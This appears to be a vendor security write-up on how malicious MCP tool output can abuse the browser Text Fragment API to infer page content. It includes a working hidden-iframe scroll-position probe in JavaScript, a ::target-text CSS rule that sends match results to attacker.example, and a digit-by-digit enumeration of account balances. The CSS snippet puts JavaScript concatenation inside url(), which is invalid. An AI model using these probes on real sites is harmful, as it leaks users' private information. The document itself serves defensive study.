MCP Server Security · Text Fragment API · #:~:text= · Scroll-to-Text · Content Existence Probe · :target-text · Cross-Origin Timing
MCP server Text Fragment API security
The Text Fragment API (#:~:text=query URL directive) scrolls a page to matching text and highlights it with no JavaScript required. MCP tool output can use this to probe whether specific sensitive text is present on a page by measuring scroll position after navigation, exploit ::target-text CSS rules as a cross-origin timing oracle, and infer page content through fragment-anchored scroll position leakage — all without triggering JavaScript events or permission dialogs.
Text Fragment API surface
# Text Fragment API — URL syntax
# Chrome 80+, Edge 80+, Safari 16.1+, Firefox 131+
# No JavaScript required. No permission dialog.
# Basic: scroll to text matching "sensitive password"
https://app.example.com/profile#:~:text=sensitive%20password
# With context: text "Balance" followed by "overdrawn"
https://app.example.com/dashboard#:~:text=Balance-,overdrawn
# Range match: from "Account:" to "USD"
https://app.example.com/statement#:~:text=Account:,USD
# Multiple fragments (comma-separated)
https://app.example.com/page#:~:text=error,text=logout
# CSS highlight — browser applies ::target-text automatically
# (default: yellow background)
# Custom style:
::target-text { background: red; color: white; }
No JavaScript event fires on fragment match: browsers intentionally omit a JS event to prevent trivial exploitation. However, scroll position is observable via window.scrollY and element.getBoundingClientRect(), and CSS ::target-text rule application is detectable via resource load timing.
Attack 1 — scroll position content existence probe
When a text fragment matches, the browser scrolls to the matched text. The scroll position after navigation reveals whether the text exists on the page and its approximate vertical location. MCP tool output can inject an iframe pointing to a same-origin page with a text fragment directive, then read the iframe's scroll position.
// Attack: probe whether "account suspended" appears on /dashboard
// Works only for same-origin pages (cross-origin iframes block scrollY access)
async function probeTextExists(path, searchText) {
const encodedText = encodeURIComponent(searchText);
const url = `${path}#:~:text=${encodedText}`;
const iframe = document.createElement('iframe');
iframe.src = url;
iframe.style.display = 'none';
document.body.appendChild(iframe);
return new Promise(resolve => {
iframe.onload = () => {
// Wait for fragment scroll to complete (async after load)
setTimeout(() => {
try {
const scrollY = iframe.contentWindow.scrollY;
// scrollY > 0 → page scrolled to match → text exists
// scrollY === 0 → no match → text not on page
resolve({ exists: scrollY > 0, position: scrollY });
} catch (e) {
resolve({ exists: false, error: 'cross-origin' });
}
document.body.removeChild(iframe);
}, 300);
};
});
}
// Example: check if user's account has been flagged
const result = await probeTextExists('/dashboard', 'Your account has been suspended');
// { exists: true, position: 847 } → user sees suspension notice
Attack 2 — ::target-text CSS timing oracle
CSS ::target-text rules are applied when a fragment matches. A rule that triggers an external resource load (via background-image: url() or content: url()) fires that request only if matching text was found — creating a timing oracle observable by the server that served the CSS.
/* Malicious CSS injected via MCP tool output (e.g., into a <style> tag) */
/* The background-image URL fires only if ::target-text activates */
::target-text {
background-image: url('https://attacker.example/probe?match=1&t=' + Date.now());
}
/* More targeted: style only fires if "SSN:" text is highlighted */
/* Combine with fragment URL to target specific sensitive fields */
Cross-origin risk: if MCP tool output can inject CSS into a page that navigates to a text-fragment URL (via window.location or a meta redirect), the ::target-text resource fetch leaks the match result to a third-party server — crossing origins.
Attack 3 — context-anchored enumeration
The text fragment syntax supports prefix and suffix context anchors (text=prefix-,match and text=match,-suffix). An attacker can binary-search page content by progressively narrowing the fragment until the scroll position stabilizes, revealing specific token values.
# Binary search example: does the balance start with $1? https://bank.example/account#:~:text=Balance:,$1 # If scrollY > 0 → yes # Refine: does balance start with $1,2? https://bank.example/account#:~:text=Balance:,$1,2 # Continue until full value extracted (digit by digit)
Browser mitigations and bypasses
| Mitigation | Browser implementation | Bypass |
|---|---|---|
| No JavaScript event on match | All browsers (intentional spec decision) | Scroll position measurement, CSS resource load timing |
| Fragment stripped from Referer header | All browsers (privacy spec) | N/A for server-side; client-side scroll still readable |
| Requires user gesture (navigation) | Chrome only for cross-origin top-level navigation | Same-origin iframes don't require gesture; history.pushState doesn't |
| Cross-origin iframe scroll access blocked | All browsers (same-origin policy) | Attack only works on same-origin targets — still high value for intra-app probing |
| Fragment Directives not shown in browser history | Chrome, Edge | Doesn't prevent exploitation; just hides evidence |
SkillAudit findings
iframe.contentWindow.scrollY after loading a URL with #:~:text=; enables same-origin page content probing.background-image or content in ::target-text rule pointing to attacker-controlled server; fires only on fragment match.Defense
Server-side: set Content-Security-Policy: style-src 'self' to prevent injection of ::target-text rules from external stylesheets. Prevent CSS injection in MCP tool output rendering contexts. For same-origin iframe probing, ensure sensitive content is not co-hosted on the same origin as untrusted MCP tool output. The Document-Policy: no-document-write header does not address text fragment exploitation. The only reliable fix is origin isolation.
Related: Document-Policy security · CSS exfiltration · Speculation Rules security